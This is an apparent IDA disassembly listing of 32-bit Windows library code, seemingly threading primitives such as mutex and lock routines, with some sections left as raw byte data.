; ---------------------------------------------------------------------------
loc_430320: ; CODE XREF: ___:0040127Bj
mov eax, [esp+4]
test eax, eax
jz short loc_43033D
mov eax, [eax]
test eax, eax
jz short loc_43033D
mov ecx, [esp+8]
test ecx, ecx
jz short loc_43033D
mov eax, [eax]
mov [ecx], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_43033D: ; CODE XREF: ___:00430326j
; ___:0043032Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430360: ; CODE XREF: ___:00401636j
mov eax, [esp+4]
test eax, eax
jz short loc_43038A
mov ecx, [eax]
test ecx, ecx
jz short loc_43038A
mov eax, [esp+8]
cmp eax, 1
jz short loc_43037E
test eax, eax
jnz short loc_43038A
mov [ecx], eax
retn
; ---------------------------------------------------------------------------
loc_43037E: ; CODE XREF: ___:00430375j
mov eax, 28h
mov dword ptr [ecx], 0
retn
; ---------------------------------------------------------------------------
loc_43038A: ; CODE XREF: ___:00430366j
; ___:0043036Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4303A0 proc near ; CODE XREF: sub_401415j
push esi
push edi
call sub_4012E4
sub_4303A0 endp
; ---------------------------------------------------------------------------
db 8Bh
dd 74F685F0h, 247C8B7Bh, 74FF850Ch, 1FF8305h, 8D536E75h
dd 0E8532C5Eh, 0FFFD1E84h, 1824448Bh, 8504C483h, 8B0574C0h
dd 889304Eh, 7E89FF85h, 8B3E7530h, 0C0853446h, 568B3775h
dd 0E8525738h, 234044Ah, 75C08590h, 38468B28h, 30C46C7h
dd 50000000h, 13046C7h, 90000000h, 3405AFE8h, 0B4E85302h
dd 6AFFFD0Ch, 19D7E802h, 0C483FFFDh, 0A4E85308h, 83FFFD0Ch
dd 0C03304C4h, 0C35E5F5Bh, 16B85Fh, 0C35E0000h, 0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
loc_430460: ; CODE XREF: ___:00402261j
push ebx
push esi
call sub_4012E4
; ---------------------------------------------------------------------------
db 8Bh
dd 74F685F0h, 245C8B7Bh, 1FB830Ch, 0DB850474h, 8D576E75h
dd 0E8572C7Eh, 0FFFD1DC4h, 1824448Bh, 8504C483h, 8B0574C0h
dd 889344Eh, 8930468Bh, 0C085345Eh, 0DB853B75h, 568B3775h
dd 90525338h, 340389E8h, 75C08502h, 38468B28h, 30C46C7h
dd 50000000h, 13046C7h, 90000000h, 3404EFE8h, 0F4E85702h
dd 6AFFFD0Bh, 1917E802h, 0C483FFFDh, 0E4E85708h, 83FFFD0Bh
dd 0C03304C4h, 0C35B5E5Fh, 16B85Eh, 0C35B0000h, 0Ch dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_430520 proc near ; CODE XREF: sub_401D02j
push esi
push edi
call sub_4012E4
sub_430520 endp
; ---------------------------------------------------------------------------
db 8Bh
dd 2C7E8DF0h, 1D16E857h, 0C483FFFDh, 74F68504h, 307E8334h
dd 8B2E7401h, 6A3846h, 2ECE850h, 85900234h, 571E75C0h
dd 30C46C7h, 0C7000000h, 13046h, 60E80000h, 6AFFFD0Bh
dd 1883E802h, 0C483FFFDh, 50E85708h, 83FFFD0Bh, 5E5F04C4h
dd 909090C3h, 90909090h, 8 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
loc_4305A0: ; CODE XREF: ___:00401D39j
sub esp, 2D0h
push esi
mov esi, [esp+2D8h]
push 0
push esi
call sub_401762
add esp, 8
mov [esp+4], eax
test eax, eax
jnz loc_4306D9
call sub_4012E4
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_4305DB
mov eax, 0Ch
pop esi
add esp, 2D0h
retn
; ---------------------------------------------------------------------------
loc_4305DB: ; CODE XREF: ___:004305CCj
push ebx
push ebp
push edi
push eax
push esi
call sub_401A64
lea ebx, [esi+2Ch]
mov edi, eax
push ebx
call sub_402248
mov eax, [esi+34h]
add esp, 0Ch
test eax, eax
mov ebp, 3
jnz loc_4306B2
mov eax, [esi+30h]
test eax, eax
jnz loc_4306B2
cmp [esi+0Ch], ebp
jge loc_4306C5
test edi, edi
jz short loc_430644
push ebx
mov [esi+0Ch], ebp
mov dword ptr [esi+30h], 1
call sub_4010C3
push 2
call sub_401DED
; ---------------------------------------------------------------------------
mov eax, [esp+18h]
add esp, 8
pop edi
pop ebp
pop ebx
pop esi
add esp, 2D0h
retn
; ---------------------------------------------------------------------------
loc_430644: ; CODE XREF: ___:00430619j
mov edi, [esi+4]
push edi
call near ptr 2760CA2h
nop
push 0
push edi
nop
call near ptr 2770836h
cmp eax, 102h
jnz short loc_4306D2
lea eax, [esp+14h]
mov [esi+0Ch], ebp
push eax
push edi
mov dword ptr [esi+30h], 1
mov dword ptr [esp+1Ch], 10001h
nop
call near ptr 2770000h
lea ecx, [esp+14h]
mov dword ptr [esp+0CCh], offset loc_430750
push ecx
push edi
call near ptr 27701BBh
nop
push ebx
call sub_4010C3
add esp, 4
push edi
nop
call near ptr 2770480h
mov eax, [esp+10h]
pop edi
pop ebp
pop ebx
pop esi
add esp, 2D0h
retn
; ---------------------------------------------------------------------------
loc_4306B2: ; CODE XREF: ___:004305FDj
; ___:00430608j
cmp [esi+0Ch], ebp
jge short loc_4306C5
mov edx, [esi+38h]
push edx
nop
call near ptr 27706B7h
test eax, eax
jnz short loc_4306C9
loc_4306C5: ; CODE XREF: ___:00430611j
; ___:004306B5j
mov [esp+10h], ebp
loc_4306C9: ; CODE XREF: ___:004306C3j
push ebx
call sub_4010C3
add esp, 4
loc_4306D2: ; CODE XREF: ___:0043065Cj
mov eax, [esp+10h]
pop edi
pop ebp
pop ebx
loc_4306D9: ; CODE XREF: ___:004305BFj
pop esi
add esp, 2D0h
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 60h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430750: ; DATA XREF: ___:00430680o
push 2
call sub_401DED
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_430770 proc near ; CODE XREF: sub_401122j
mov eax, dword_5103C8
push esi
push eax
call sub_401190
sub_430770 endp
; ---------------------------------------------------------------------------
mov esi, eax
add esp, 4
test esi, esi
jz short loc_4307AE
mov eax, [esp+8]
test eax, eax
jz short loc_43079C
mov eax, [esi]
test eax, eax
jz short loc_43079C
mov ecx, [esi+4]
push ecx
call eax
add esp, 4
loc_43079C: ; CODE XREF: ___:0043078Bj
; ___:00430791j
mov edx, [esi+8]
mov eax, dword_5103C8
push edx
push eax
call sub_4020F9
; ---------------------------------------------------------------------------
add esp, 8
loc_4307AE: ; CODE XREF: ___:00430783j
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4307E0 proc near ; CODE XREF: sub_401663j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
mov ecx, [esp+arg_8]
push esi
mov esi, [esp+4+arg_0]
mov [esi], eax
mov [esi+4], ecx
mov edx, dword_5103C8
push edx
call sub_401190
sub_4307E0 endp
; ---------------------------------------------------------------------------
mov [esi+8], eax
mov eax, dword_5103C8
push esi
push eax
call sub_4020F9
; ---------------------------------------------------------------------------
add esp, 0Ch
pop esi
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430830 proc near ; CODE XREF: sub_401B63j
arg_0 = dword ptr 4
push esi
push offset dword_510920
xor esi, esi
nop
call near ptr 7C901005h
mov ecx, [esp+4+arg_0]
mov eax, [ecx]
cmp eax, 0FFFFFFFFh
jnz short loc_430864
push esi
push ecx
call sub_40154B
add esp, 8
mov esi, eax
push offset dword_510920
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_430864: ; CODE XREF: sub_430830+17j
test eax, eax
jnz short loc_43086D
mov esi, 16h
loc_43086D: ; CODE XREF: sub_430830+36j
push offset dword_510920
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
sub_430830 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4308A0: ; CODE XREF: ___:0040211Cj
push esi
push 4
push 1
xor esi, esi
nop
call near ptr 77C2C0C3h
add esp, 8
test eax, eax
jnz short loc_4308C3
mov edx, [esp+8]
mov ecx, 0Ch
pop esi
mov [edx], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_4308C3: ; CODE XREF: ___:004308B2j
mov ecx, [esp+8]
mov [ecx], eax
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4308E0: ; CODE XREF: ___:004021F3j
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_430903
mov eax, [esi]
test eax, eax
jz short loc_430903
push eax
nop
call near ptr 77C2C21Bh
add esp, 4
mov dword ptr [esi], 0
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_430903: ; CODE XREF: ___:004308E7j
; ___:004308EDj
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430920: ; CODE XREF: ___:00401005j
mov eax, [esp+4]
test eax, eax
jz short loc_43093D
mov eax, [eax]
test eax, eax
jz short loc_43093D
mov ecx, [esp+8]
test ecx, ecx
jz short loc_43093D
mov eax, [eax]
mov [ecx], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_43093D: ; CODE XREF: ___:00430926j
; ___:0043092Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430960: ; CODE XREF: ___:004012ADj
mov eax, [esp+4]
test eax, eax
jz short loc_43098A
mov ecx, [eax]
test ecx, ecx
jz short loc_43098A
mov eax, [esp+8]
cmp eax, 1
jz short loc_43097E
test eax, eax
jnz short loc_43098A
mov [ecx], eax
retn
; ---------------------------------------------------------------------------
loc_43097E: ; CODE XREF: ___:00430975j
mov eax, 28h
mov dword ptr [ecx], 0
retn
; ---------------------------------------------------------------------------
loc_43098A: ; CODE XREF: ___:00430966j
; ___:0043096Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4309A0 proc near ; CODE XREF: sub_40154Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
xor edi, edi
xor esi, esi
cmp eax, edi
jnz short loc_4309B6
pop edi
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_4309B6: ; CODE XREF: sub_4309A0+Cj
mov eax, [esp+8+arg_4]
push ebx
cmp eax, edi
push ebp
jz short loc_4309DD
mov eax, [eax]
cmp eax, edi
jz short loc_4309DD
cmp dword ptr [eax], 1
jnz short loc_4309DD
mov edx, [esp+10h+arg_0]
mov edi, 28h
pop ebp
mov eax, edi
pop ebx
mov [edx], esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4309DD: ; CODE XREF: sub_4309A0+1Ej
; sub_4309A0+24j ...
push 20h
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
cmp esi, edi
jnz short loc_430A02
mov edx, [esp+10h+arg_0]
mov edi, 0Ch
pop ebp
mov eax, edi
pop ebx
mov [edx], esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_430A02: ; CODE XREF: sub_4309A0+4Ej
lea ebp, [esi+10h]
push 1
push edi
push ebp
mov [esi], edi
mov [esi+8], edi
mov [esi+4], edi
call sub_401C8A
add esp, 0Ch
test eax, eax
jz short loc_430A27
call near ptr 77C1F2BCh
nop
mov edi, [eax]
jmp short loc_430A6B
; ---------------------------------------------------------------------------
loc_430A27: ; CODE XREF: sub_4309A0+7Bj
lea ebx, [esi+0Ch]
push 0
push 0
push ebx
call sub_401C8A
add esp, 0Ch
test eax, eax
jz short loc_430A45
nop
call near ptr 77C1F2BCh
mov edi, [eax]
jmp short loc_430A62
; ---------------------------------------------------------------------------
loc_430A45: ; CODE XREF: sub_4309A0+99j
lea eax, [esi+14h]
push 0
push eax
call sub_4021BC
mov edi, eax
add esp, 8
test edi, edi
jz short loc_430ACF
push ebx
call sub_401690
add esp, 4
loc_430A62: ; CODE XREF: sub_4309A0+A3j
push ebp
call sub_401690
add esp, 4
loc_430A6B: ; CODE XREF: sub_4309A0+85j
push esi
nop
call near ptr 77C2C21Bh
add esp, 4
xor esi, esi
test edi, edi
jnz short loc_430AC2
loc_430A7B: ; CODE XREF: sub_4309A0+131j
push offset dword_5109A0
nop
call near ptr 7C901005h
mov dword ptr [esi+18h], 0
mov ecx, dword_5103D0
mov [esi+1Ch], ecx
mov eax, dword_5103D0
test eax, eax
jz short loc_430AA2
mov [eax+18h], esi
loc_430AA2: ; CODE XREF: sub_4309A0+FDj
mov eax, dword_5103CC
mov dword_5103D0, esi
test eax, eax
jnz short loc_430AB7
mov dword_5103CC, esi
loc_430AB7: ; CODE XREF: sub_4309A0+10Fj
push offset dword_5109A0
call near ptr 7C9010EDh
nop
loc_430AC2: ; CODE XREF: sub_4309A0+D9j
mov edx, [esp+10h+arg_0]
pop ebp
mov eax, edi
pop ebx
mov [edx], esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_430ACF: ; CODE XREF: sub_4309A0+B7j
xor edi, edi
jmp short loc_430A7B
sub_4309A0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430B30 proc near ; CODE XREF: sub_401AA5j
var_4 = dword ptr -4
arg_0 = dword ptr 4
push ecx
push ebx
push ebp
push esi
push edi
mov edi, [esp+14h+arg_0]
xor esi, esi
xor ebp, ebp
xor ebx, ebx
test edi, edi
mov [esp+14h+var_4], ebp
jz loc_430CDC
mov eax, [edi]
test eax, eax
jz loc_430CDC
cmp eax, 0FFFFFFFFh
jz loc_430C93
push offset dword_5109A0
nop
call near ptr 7C901005h
mov esi, [edi]
lea ebx, [esi+10h]
push ebx
call sub_401041
add esp, 4
test eax, eax
jz short loc_430B89
nop
call near ptr 77C1F2BCh
mov eax, [eax]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_430B89: ; CODE XREF: sub_430B30+49j
lea ebp, [esi+14h]
push ebp
call sub_401785
add esp, 4
mov [esp+14h+arg_0], eax
test eax, eax
jz short loc_430BB0
push ebx
call sub_40103C
mov eax, [esp+18h+arg_0]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_430BB0: ; CODE XREF: sub_430B30+6Bj
mov eax, [esi]
mov ecx, [esi+4]
cmp eax, ecx
jle short loc_430BE9
push ebx
call sub_40103C
add esp, 4
test eax, eax
jz short loc_430BD2
nop
call near ptr 77C1F2BCh
mov ecx, [eax]
mov [esp+14h+arg_0], ecx
loc_430BD2: ; CODE XREF: sub_430B30+94j
push ebp
call sub_4010C3
add esp, 4
mov [esp+14h+var_4], eax
mov ebx, 10h
jmp loc_430C7E
; ---------------------------------------------------------------------------
loc_430BE9: ; CODE XREF: sub_430B30+87j
push ebx
mov dword ptr [edi], 0
call sub_401690
mov edi, dword_511A70
add esp, 4
test eax, eax
jz short loc_430C0A
call edi
mov edx, [eax]
mov [esp+14h+arg_0], edx
loc_430C0A: ; CODE XREF: sub_430B30+D0j
lea eax, [esi+0Ch]
push eax
call sub_401690
add esp, 4
test eax, eax
jz short loc_430C22
call edi
mov ecx, [eax]
mov [esp+14h+var_4], ecx
loc_430C22: ; CODE XREF: sub_430B30+E8j
push ebp
call sub_4010C3
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_430C3C
push ebp
call sub_402252
add esp, 4
mov ebx, eax
loc_430C3C: ; CODE XREF: sub_430B30+FFj
cmp dword_5103CC, esi
jnz short loc_430C4F
mov edx, [esi+18h]
mov dword_5103CC, edx
jmp short loc_430C58
; ---------------------------------------------------------------------------
loc_430C4F: ; CODE XREF: sub_430B30+112j
mov eax, [esi+1Ch]
mov ecx, [esi+18h]
mov [eax+18h], ecx
loc_430C58: ; CODE XREF: sub_430B30+11Dj
cmp dword_5103D0, esi
jnz short loc_430C6B
mov edx, [esi+1Ch]
mov dword_5103D0, edx
jmp short loc_430C74
; ---------------------------------------------------------------------------
loc_430C6B: ; CODE XREF: sub_430B30+12Ej
mov eax, [esi+18h]
mov ecx, [esi+1Ch]
mov [eax+1Ch], ecx
loc_430C74: ; CODE XREF: sub_430B30+139j
push esi
nop
call near ptr 77C2C21Bh
add esp, 4
loc_430C7E: ; CODE XREF: sub_430B30+B4j
push offset dword_5109A0
nop
call near ptr 7C9010EDh
mov esi, [esp+14h+arg_0]
mov ebp, [esp+14h+var_4]
jmp short loc_430CC2
; ---------------------------------------------------------------------------
loc_430C93: ; CODE XREF: sub_430B30+28j
push offset dword_510920
call near ptr 7C901005h
nop
cmp dword ptr [edi], 0FFFFFFFFh
jnz short loc_430CAB
mov dword ptr [edi], 0
jmp short loc_430CB7
; ---------------------------------------------------------------------------
loc_430CAB: ; CODE XREF: sub_430B30+171j
mov [esp+14h+arg_0], 10h
mov esi, [esp+14h+arg_0]
loc_430CB7: ; CODE XREF: sub_430B30+179j
push offset dword_510920
nop
call near ptr 7C9010EDh
loc_430CC2: ; CODE XREF: sub_430B30+161j
test esi, esi
jz short loc_430CCE
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_430CCE: ; CODE XREF: sub_430B30+194j
test ebp, ebp
mov eax, ebp
jnz short loc_430CE1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_430CDC: ; CODE XREF: sub_430B30+15j
; sub_430B30+1Fj
mov eax, 16h
loc_430CE1: ; CODE XREF: sub_430B30+1A2j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_430B30 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430D60 proc near ; CODE XREF: sub_401203j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push 0
push eax
push ecx
call sub_430D90
add esp, 0Ch
retn
sub_430D60 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430D90 proc near ; CODE XREF: sub_430D60+Cp
; sub_431060+19p
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 20h
push esi
mov esi, [esp+24h+arg_0]
test esi, esi
push edi
mov [esp+28h+var_20], 0
jz loc_430E99
mov eax, [esi]
test eax, eax
jz loc_430E99
cmp eax, 0FFFFFFFFh
jnz short loc_430DD2
push esi
call sub_401B63
add esp, 4
mov [esp+28h+var_20], eax
test eax, eax
jz short loc_430DD2
cmp eax, 10h
jnz loc_430E9E
loc_430DD2: ; CODE XREF: sub_430D90+26j
; sub_430D90+37j
mov esi, [esi]
lea edi, [esi+10h]
push edi
call sub_401041
add esp, 4
test eax, eax
jz short loc_430DF2
nop
call near ptr 77C1F2BCh
mov eax, [eax]
pop edi
pop esi
add esp, 20h
retn
; ---------------------------------------------------------------------------
loc_430DF2: ; CODE XREF: sub_430D90+52j
mov ecx, [esi]
push edi
inc ecx
mov [esi], ecx
call sub_40103C
add esp, 4
test eax, eax
jz short loc_430E12
nop
call near ptr 77C1F2BCh
mov eax, [eax]
pop edi
pop esi
add esp, 20h
retn
; ---------------------------------------------------------------------------
loc_430E12: ; CODE XREF: sub_430D90+72j
mov edi, [esp+28h+arg_4]
lea ecx, [esp+28h+var_10]
push ecx
lea edx, [esp+2Ch+var_1C]
lea eax, [esp+2Ch+var_20]
push offset loc_430F00
push edx
mov [esp+34h+var_10], edi
mov [esp+34h+var_C], esi
mov [esp+34h+var_8], eax
mov [esp+34h+var_4], 0
call sub_401663
; ---------------------------------------------------------------------------
dw 0E857h
dd 0FFFD027Bh, 8910C483h, 85082444h, 8B2775C0h, 83342444h
dd 56500CC6h, 0FD0A46E8h, 8C483FFh, 0E74C085h, 0E44EE890h
dd 8B777Eh, 8244489h, 448B04EBh, 0C9330824h, 0C085016Ah
dd 89C1940Fh, 0E828244Ch, 0FFFD0296h, 0C24448Bh, 5F04C483h
dd 20C4835Eh
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
loc_430E99: ; CODE XREF: sub_430D90+13j
; sub_430D90+1Dj
mov eax, 16h
loc_430E9E: ; CODE XREF: sub_430D90+3Cj
pop edi
pop esi
add esp, 20h
retn
sub_430D90 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430F00: ; DATA XREF: sub_430D90+93o
push ecx
push ebx
push ebp
mov ebp, [esp+10h]
push esi
push edi
mov esi, [ebp+4]
mov ebx, [ebp+8]
mov [esp+18h], ebx
lea edi, [esi+14h]
push edi
call sub_402248
add esp, 4
test eax, eax
jz short loc_430F2B
pop edi
pop esi
mov [ebx], eax
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_430F2B: ; CODE XREF: ___:00430F21j
mov ebx, [esi+8]
test ebx, ebx
mov [esp+10h], ebx
jz short loc_430F3E
lea eax, [ebx-1]
mov [esi+8], eax
jmp short loc_430FA7
; ---------------------------------------------------------------------------
loc_430F3E: ; CODE XREF: ___:00430F34j
mov ecx, [esi+4]
inc ecx
mov eax, ecx
mov [esi+4], ecx
cmp eax, 3FFFFFFFh
jnz short loc_430FA7
lea ebx, [esi+10h]
push ebx
call sub_401041
add esp, 4
test eax, eax
jz short loc_430F72
nop
call near ptr 77C1F2BCh
mov edx, [esp+18h]
mov ecx, [eax]
pop edi
pop esi
pop ebp
mov [edx], ecx
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_430F72: ; CODE XREF: ___:00430F5Cj
mov eax, [esi+4]
mov ecx, [esi]
sub ecx, eax
push ebx
mov [esi], ecx
call sub_40103C
add esp, 4
test eax, eax
jz short loc_430F9C
nop
call near ptr 77C1F2BCh
mov edx, [esp+18h]
mov ecx, [eax]
pop edi
pop esi
pop ebp
mov [edx], ecx
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_430F9C: ; CODE XREF: ___:00430F86j
mov ebx, [esp+10h]
mov dword ptr [esi+4], 0
loc_430FA7: ; CODE XREF: ___:00430F3Cj
; ___:00430F4Cj
push edi
call sub_4010C3
add esp, 4
test eax, eax
jz short loc_430FC0
mov ecx, [esp+18h]
pop edi
pop esi
pop ebp
mov [ecx], eax
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_430FC0: ; CODE XREF: ___:00430FB2j
cmp ebx, 1
jnz short loc_430FE9
add esi, 10h
push esi
call sub_40103C
add esp, 4
test eax, eax
jz short loc_430FE9
nop
call near ptr 77C1F2BCh
mov edx, [eax]
mov eax, [esp+18h]
pop edi
pop esi
pop ebp
mov [eax], edx
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_430FE9: ; CODE XREF: ___:00430FC3j
; ___:00430FD3j
mov ecx, [ebp+0]
push ecx
call sub_402248
add esp, 4
test eax, eax
jz short loc_430FFF
mov edx, [esp+18h]
mov [edx], eax
loc_430FFF: ; CODE XREF: ___:00430FF7j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431060 proc near ; CODE XREF: sub_4011E0j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
test eax, eax
jnz short loc_43106E
mov eax, 16h
retn
; ---------------------------------------------------------------------------
loc_43106E: ; CODE XREF: sub_431060+6j
mov ecx, [esp+arg_0]
push eax
mov eax, [esp+4+arg_4]
push eax
push ecx
call sub_430D90
add esp, 0Ch
retn
sub_431060 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4310A0 proc near ; CODE XREF: sub_401E6Fj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_4310C0
add esp, 8
retn
sub_4310A0 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4310C0 proc near ; CODE XREF: sub_4310A0+7p
; sub_431220+7p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push ebx
push esi
push edi
test eax, eax
jz loc_4311C4
mov esi, [eax]
test esi, esi
jz loc_4311C4
cmp esi, 0FFFFFFFFh
jnz short loc_4310E4
pop edi
pop esi
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4310E4: ; CODE XREF: sub_4310C0+1Cj
lea ebx, [esi+14h]
push ebx
call sub_402248
add esp, 4
test eax, eax
jnz loc_4311C9
mov ecx, [esi+8]
mov eax, [esi]
test ecx, ecx
jz short loc_431134
test eax, eax
jnz short loc_431112
loc_431105: ; CODE XREF: sub_4310C0+77j
push ebx
call sub_4010C3
add esp, 4
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_431112: ; CODE XREF: sub_4310C0+43j
mov edx, [esp+0Ch+arg_4]
test edx, edx
jz short loc_431129
mov edi, eax
mov dword ptr [esi], 0
add ecx, edi
mov [esi+8], ecx
jmp short loc_431196
; ---------------------------------------------------------------------------
loc_431129: ; CODE XREF: sub_4310C0+58j
inc ecx
mov edi, 1
mov [esi+8], ecx
jmp short loc_431193
; ---------------------------------------------------------------------------
loc_431134: ; CODE XREF: sub_4310C0+3Fj
cmp eax, [esi+4]
jle short loc_431105
lea ecx, [esi+10h]
push ecx
call sub_401041
add esp, 4
test eax, eax
jz short loc_431160
call near ptr 77C1F2BCh
nop
mov esi, [eax]
push ebx
call sub_4010C3
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_431160: ; CODE XREF: sub_4310C0+87j
mov eax, [esi+4]
test eax, eax
jz short loc_431174
mov ecx, [esi]
mov dword ptr [esi+4], 0
sub ecx, eax
mov [esi], ecx
loc_431174: ; CODE XREF: sub_4310C0+A5j
mov eax, [esp+0Ch+arg_4]
test eax, eax
jz short loc_431189
mov edi, [esi]
mov dword ptr [esi], 0
mov [esi+8], edi
jmp short loc_431196
; ---------------------------------------------------------------------------
loc_431189: ; CODE XREF: sub_4310C0+BAj
mov eax, [esi]
mov edi, 1
mov [esi+8], edi
loc_431193: ; CODE XREF: sub_4310C0+72j
dec eax
mov [esi], eax
loc_431196: ; CODE XREF: sub_4310C0+67j
; sub_4310C0+C7j
push ebx
call sub_4010C3
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_4311BE
add esi, 0Ch
push edi
push esi
call sub_402068
add esp, 8
test eax, eax
jz short loc_4311BE
nop
call near ptr 77C1F2BCh
mov ebx, [eax]
loc_4311BE: ; CODE XREF: sub_4310C0+E3j
; sub_4310C0+F4j
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4311C4: ; CODE XREF: sub_4310C0+9j
; sub_4310C0+13j
mov eax, 16h
loc_4311C9: ; CODE XREF: sub_4310C0+32j
pop edi
pop esi
pop ebx
retn
sub_4310C0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431220 proc near ; CODE XREF: sub_40160Ej
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_4310C0
add esp, 8
retn
sub_431220 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431240 proc near ; CODE XREF: sub_40123Aj
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ecx
push ebx
push esi
push edi
mov edi, 0Bh
xor ebx, ebx
call sub_401B27
mov esi, eax
test esi, esi
jz loc_431316
mov eax, [esi+28h]
push 0Ch
mov [esp+14h+var_4], eax
nop
call near ptr 77C2C407h
mov ebx, eax
add esp, 4
test ebx, ebx
jz loc_431316
mov ecx, [esp+10h+arg_8]
mov edx, [esp+10h+arg_C]
push ebp
mov ebp, [esp+14h+arg_4]
test ebp, ebp
mov [ebx], esi
mov [ebx+4], ecx
mov [ebx+8], edx
jz short loc_4312BE
mov eax, [ebp+0]
test eax, eax
jz short loc_4312BE
mov edi, [eax+8]
mov eax, [eax+0Ch]
mov [esi+20h], eax
mov eax, [ebp+0]
mov ecx, [eax+10h]
mov [esp+14h+var_4], ecx
mov ecx, [eax+14h]
test ecx, ecx
jnz short loc_4312C0
call sub_4012E4
; ---------------------------------------------------------------------------
mov edx, [eax+28h]
mov [esp+14h+var_4], edx
